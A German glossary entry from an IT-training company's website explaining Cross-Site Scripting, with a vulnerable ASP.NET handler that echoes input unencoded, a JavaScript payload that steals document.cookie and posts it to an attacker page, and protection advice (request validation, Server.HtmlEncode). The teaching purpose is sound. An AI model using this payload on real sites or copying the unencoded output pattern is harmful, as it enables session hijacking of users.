Individualschulungen
Entwicklung
Aktuelle Themen
.NET
JavaScript / TypeScript
Java
Programmiersprachen
Entwicklungswerkzeuge
Benutzeroberflächen / User Experience
Softwareengineering
KI in der Softwareentwicklung
Plattformen & Systeme
KI
Web & Cloud
Apps / Mobilplattformen
Datenbanken / Reporting / BI
Betriebssysteme & Virtualisierung
Microsoft Server-Produkte
Scripting
Windows & Office für Anwender
Soft Skills & IT-Recht
Das bieten nur wir
Umfangreicher Themenkatalog
Wählen Sie aus 1055 Themen
Weiterbildungsphilosophie
Individuelle Anpassung an Ihre Anforderungen
Didaktische Konzepte
Ganz nach Ihren Wünschen
Vorteile individueller Firmenseminare
Im Vergleich zu offenen Seminaren
Vor Ort oder online
Alles ist in Ihrem Hause oder online möglich
Top-Trainer
Die besten und renommiertesten Experten
Teilnehmerfeedback
Das sagen 9311 von insgesamt über 75000 Teilnehmern
Referenzkunden
Viele namhafte mittlere und große Referenzkunden
1055 Themen, die frei anpassbar und kombinierbar sind
Gesamter Themenkatalog →
Offene Schulungen
Online-Trainings
.NET-Akademie
.NET/C#-Basisseminar
WPF
WinUI
.NET MAUI, Uno & Avalonia
Blazor
ASP.NET Core WebAPI
Entity Framework Core
Unit Testing / TDD
PowerShell
Alle Seminartermine
INFOTAGE
INFOTAG ".NET 12.0"
am 22.06.2027
INFOTAG "KI" 2027
am 15.09.2027
Das bieten nur wir
Renommierte Top-Trainer
Die besten und bekanntesten Experten schulen Sie!
Teilnehmerfeedback
Das sagen 9311 von insgesamt über 75000 Teilnehmern
Referenzkunden
Viele namhafte mittlere und große Referenzkunden
Nicht das passende Thema dabei? Stellen Sie Ihre individuelle Firmenschulung aus 1055 Modulen zusammen!
Individualschulungen →
Beratung, Support & Entwicklung
Alle unsere Leistungen
Beratung
Beratung zu vielen technischen und methodischen Themen
Coaching
Projektbegleitende Unterstützung
Softwareentwicklung
Wir entwickeln einzelne Module oder ganze Anwendungen für Sie
Technischer Support
Support für einzelne technische Fragen
Individualschulungen
1055 Themen, die frei anpassbar und kombinierbar sind
Offene Seminare
Ausgewählte Themen bieten wir auch als öffentliche Online-Schulungen an.
Beratungsthemen
Anwendungsarchitektur
Datenbankzugriff/Data Access
DevOps
Frontend, GUI, UX
IT-Infrastruktur
Leistung/Performance
Machbarkeit und Prototyping
Methodik, Prozesse, Teamarbeit
Migration und Versionsumstieg
Mobilanwendungen
Reviews und Qualitätssicherung
Sicherheit/Security
Verteilte Systeme und Services
Webtechniken
Werkzeugauswahl
Weitere Themen
Auch alle Schulungsthemen sind als Beratung möglich!
Das bieten nur wir
Renommierte Top-Berater
Durch Vorträge und Veröffentlichungen sehr bekannte Experten
Referenzkunden
Viele namhafte mittlere und große Referenzkunden
Referenzprojekte
Zahlreiche Referenzprojekte
Beratung vor Ort oder remote – flexibel nach Bedarf.
Zu den Beratungsthemen →
Wissen
Publikationen & Vorträge
Fachbücher
Fachartikel
Konferenzvorträge
Weblog
Spickzettel/Cheat Sheets
Lexikon/Glossar
Programmcodebibliothek
Fallbeispiele
Newsletter
Downloads
Themenportale
Übersicht
.NET/C#/Visual Studio
.NET 11.0
.NET 10.0
.NET 9.0
.NET 8.0
ASP.NET (Core)/Blazor
PowerShell
Versionshistorie
Konferenzen/Events
Community-/Leserportal
Suche
Themenkatalog
Tag Cloud
Volltextsuche
Site Map
FAQs
Schulungen, Beratung, Support, Coaching, Softwareentwicklung
Unsere kommerziellen Leistungen →
Über uns
Unternehmen
Zahlen
Selbstdarstellung
Kernkompetenzen
Dr. Holger Schwichtenberg
Unsere Top-Experten
Leitung & Kundenteam
Partner
Weitere Websites
Referenzen
Referenzkunden
Kundenaussagen
Referenzprojekte
Kontakt & Rechtliches
Kontakt
Impressum
Datenschutzerklärung, Haftung, Urheberrecht, Barrierefreiheit
Impressum, Datenschutz und Barrierefreiheit unter Kontakt & Rechtliches.
Rechtliches →
Erklärung des Begriffs: Cross-Site Scripting (XSS)
Begriff
Cross-Site Scripting
Abkürzung
XSS
Eintrag zuletzt aktualisiert am
23.07.2012
Zur Stichwortliste unseres Lexikons
Was ist
Cross-Site Scripting
?
Bei einem seitenübergreifenden
Skriptangriff
(Cross-Site-
Scripting
, abgekürzt XSS) gelingt es dem An-greifer, eigenen Clientskriptcode im Kontext einer fremden Webanwendung auszuführen. Dadurch kann der Angreifer z. B. Daten von Cookies »kapern«. Die Gefahr besteht immer, wenn eine Webseite Benutzer-eingaben wieder ausgibt, ohne sie auf enthaltenen Skriptcode zu prüfen.
Angriffsbeispiel
Das erste Beispiel zeigt einen einfachen Fall zur Erläuterung des Grundprinzips, im zweiten Beispiel wird es komplizierter.
Die Webseite, auf die ein Angriff gestartet werden soll, ermöglicht die Eingabe eines Textes. Bevor der Text endgültig gespeichert wird, soll der Text noch einmal angezeigt werden, sodass der Benutzer ihn bestätigen kann:
private void C
OK
Click(object sender, System.EventArgs e)
{
this.C_Ausgabe.Text =
"Sind Sie sicher, dass Sie folgenden Kommentar absenden wollen? <br>" +
C_Eingabe.Text;
this.C_Endgueltig.Visible = true;
}
Listing 1: Serverseitiger Code für das Beispiel
Ein Angreifer könnte nun in das Eingabefeld Browserskriptcode packen und damit erreichen, dass dieses Skript im Browser nach einem Rundgang ausgeführt wird.
Beispiel 2
Beim zweiten Beispiel nutzt der Angreifer die gleiche Grundtechnik, um die Cookies eines Benutzers zu kapern. Dieses Mal geht der Angriff gar nicht von der angegriffenen Webseite aus, sondern von irgendeiner fremden Webseite oder einer
HTML
-E-Mail. Was der Angreifer braucht, ist lediglich das Wissen um eine Webseite, die eine übergebene Information ungeprüft ausgibt.
Der Angreifer sendet einem Benutzer einen Link, der zum Klick auffordert. Hinter dem Link verbirgt sich ein geschickt gestricktes Skript, das eine Anfrage an die anzugreifende Seite enthält, wobei im Parameter wieder ein Skript übergeben wird. Das an die angegriffene Seite (hier: /Angegriffener/ausgabeseite.aspx) übermittelte Skript sorgt dafür, dass die Cookies an eine Seite des Angreifers (hier: /Angreifer/Angreifer.aspx) gesendet werden. Die Angreiferseite kann die Cookies dann speichern. Der Angegriffene bemerkt von den Umlenkungen nichts, weil diese viel zu schnell ablaufen.
<script id="clientEvent
Handle
rsJS" language="javascript">
<!--
function document_onclick() {
//document.location.href="welcome.aspx?name=<script>x=document.cookie;alert(x);
//</SCRIPT>";
document.location.href=
'http://localhost:90/_Misc/Sicherheit/Angriffe/XSS2/Angegriffener/
ausgabeseite.aspx?name=<F
ORM
action="http://localhost:90/_Misc/Sicherheit/
Angriffe/XSS2/Angreifer/Angreifer.aspx" method="post" id="idForm">
<I
NPU
T name="cookiejar" type="hidden"></F
ORM
>
<SCRIPT>idForm.cookiejar.value=document.cookie;idForm.submit();</SCRIPT>';
// document.location.href="Startseite.aspx?name=<I
NPU
T name='log'
// type='hidden'><SCRIPT>Form1.action='http://localhost:90/_Misc/Sicherheit/
// Angriffe/XSS2/
// Angreifer/Angreifer.aspx';Form1.log.value=document.cookie;
// Form1.submit();</SCRIPT>";
}
//-->
</script>
Listing 2: Der Programmcode hinter dem Link des Angreifers
Schutz vor diesem Angriff
In ASP.NET ist der seitenübergreifende
Skriptangriff
durch eine in
ASP.NET Page Framework
integrierte Sicherheitsfunktion bereits entschärft. Page Framework bemerkt, wenn ein Skript an eine Seite übergeben wird und verweigert dann die Abarbeitung des Skripts.
Die obigen Beispiele funktionieren tatsächlich nur, wenn man die Sicherheitsfunktion durch Validate¬Request="false" in der Seitendirektive deaktiviert:
<%@ Page Language="CS"
AutoEventWireup="false"
Inherits="
WWW
ings.StartSeite"
ValidateRequest="false"
CodeFile="StartSeite.aspx.cs" %>
Listing 30.33 Deaktivieren der Schutzfunktion vor
Skriptangriff
en
Trotz der integrierten Schutzfunktion ist es sinnvoll, alle Ausgaben mit der
Methode
Server.HtmlEncode() zu behandeln und so zu vermeiden, dass eventuell gefährliche Inhalte wirken können, weil sie als Text ausgegeben werden: C
Ausgabe.Text = Server.HtmlEncode(C
Eingabe.Text);
Querverweise zu anderen Begriffen im Lexikon
ASP.NET Page Framework (Page FX)
Skriptangriff
Scripting
Methode
Handle
Hypertext Markup Language (HTML)
Neural Processing Unit (NPU)
Objekt-Relationales Mapping (ORM)
World Wide Web (WWW)
Beratung & Support
Anfrage für Beratung/Consulting zu CROSS-SITE SCRIPTING XSS
Gesamter Beratungsthemenkatalog
Technischer Support zum Thema CROSS-SITE SCRIPTING XSS
Schulungen
Angular - Aufbauwissen (Angular Advanced)
Blazor (Blazor United und/oder Blazor SSR und/oder Blazor WebAssembly und/oder Blazor Server und/oder Blazor Hybrid)
Geschäftsanwendungen mit HTML 5.x und JavaScript (oder TypeScript): Moderne Web 2.0-/HTML5-Browser-Webanwendungen und Mobilanwendungen entwickeln
Sichere Webanwendungen mit IIS und ASP.NET Core
Sicherheit für Webanwendungen und WebAPIs - Secure Coding für Webentwickler: OWASP Top 10 u.a.
Von ASP.NET 3.5 nach ASP.NET 4.0/4.5: Neuerungen in ASP.NET 4.0/4.5
Anfrage für eine individuelle Schulung zum Thema CROSS-SITE SCRIPTING XSS
Gesamter Schulungsthemenkatalog
Fachbücher
Alle unsere aktuellen Fachbücher
E-Book-Abo für ab 99 Euro im Jahr